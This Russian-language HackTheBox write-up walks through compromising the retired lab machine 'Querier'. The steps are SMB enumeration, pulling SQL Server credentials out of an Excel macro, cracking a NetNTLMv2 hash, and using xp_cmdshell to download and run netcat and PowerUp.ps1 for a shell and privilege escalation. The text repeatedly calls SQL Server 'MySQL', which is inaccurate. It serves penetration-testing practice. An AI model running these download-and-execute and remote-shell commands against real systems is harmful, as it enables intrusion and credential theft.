- PVSM.RU - https://www.pvsm.ru -

Прохождение лабораторной машины для пентеста «Hackthebox — Querier»

Привет! Из этой статьи вы узнаете о способе атаки на удаленный сервер, используя особенности MySQL, создания reverse shell для закрепления в системе и пример эксплуатации плохо сконфигурированной групповой политики в ОС Windows.

Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.

Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.

Дисклеймер

В правилах сервиса написано: «Dont share how you hacked each machine with other members. This includes the invite code generation and all challenges». Но так как эта машина уже не активна и хранится в разделе «Retired Machines», доступ к ней имеют только VIP-участники.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 1

Сбор информации

Начнем разведку с запуска сканирования портов с помощью nmap.

nmap –sC –Pn –A 10.10.10.125

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 2

Перечислим найденные порты.

Enumerate 139/445/tcp (smb)

Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.

smbclient –L //10.10.10.125

Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 3

Если открыть этот файл стандартным Microsoft Excel, то он окажется на первый взгляд совершенно пустым.

Проанализируем файл, используя утилиту binwalk [1], которая поможет взглянуть на встроенные файлы xlsm- документа.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 4

Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.

binwalk –e Currency Volume Report.xlsm

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 5

Теперь воспользуемся утилитой strings [2] для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mysql server’а.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 6

Подытожим полученную информацию на текущий момент:

  • Мы знаем, что на порту 10.10.10.125:1433 крутится mysql server;
  • У нас есть учетные данные от пользователя mysql server.

Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket [3].

python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

Получаем доступ к MySQL.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 7

Enumerate MySQL

Перечислим полезную для нас информацию, используя команды из статьи [4].
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 8

Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.

  1. john --format=netntlmv2 hash.txt
  2. hashcat -m 5600 -a 3 hash.txt

Получаем пароль от mssql-svc.

Подключаемся к SQL с новыми кредитами учетными данными.

python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth

Права этого пользователя позволяют нам выполнять xp_cmdshell [5]

Про xp_cmdshell

Вместе с MySQL поставляется большой набор расширенных хранимых процедур. Наиболее интересная из них — xp_cmdshell. Она предоставляет доступ к командной строке операционной системы.

Получаем reverse shell

Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.

Переходим в директорию на нашей машине, где находится netcat и запускаем:

python –m SimpleHTTPServer

В оболочке mysql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.

xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:Usersmssql-svcDesktopnc.exe" "

Запускаем netcat на прослушивание порта 4444.

xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.

nc 10.10.10.125 4444

Запускаем скрипт от PowerShellMafia [6]для повышения привилегий.

powershell.exe IEX (New-Object Net.WebClient).DownloadString("http://10.10.x.x:8000/PowerUp.ps1"); Invoke-AllChecks

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 9

В результате выполнения скрипта получили учетные данные администратора.

Заходим на ресурсы smb с новыми учетными данными и полномочиями.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 10

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 11

Забираем флаг root.txt. Победа!

Автор: Юрий

Источник [7]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/328751

Ссылки в тексте:

[1] binwalk: https://github.com/ReFirmLabs/binwalk

[2] strings : https://linux.die.net/man/1/strings

[3] impacket: https://github.com/SecureAuthCorp/impacket

[4] статьи: https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/

[5] xp_cmdshell: https://docs.microsoft.com/ru-ru/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017

[6] скрипт от PowerShellMafia : https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

[7] Источник: https://habr.com/ru/post/465687/?utm_source=habrahabr&utm_medium=rss&utm_campaign=465687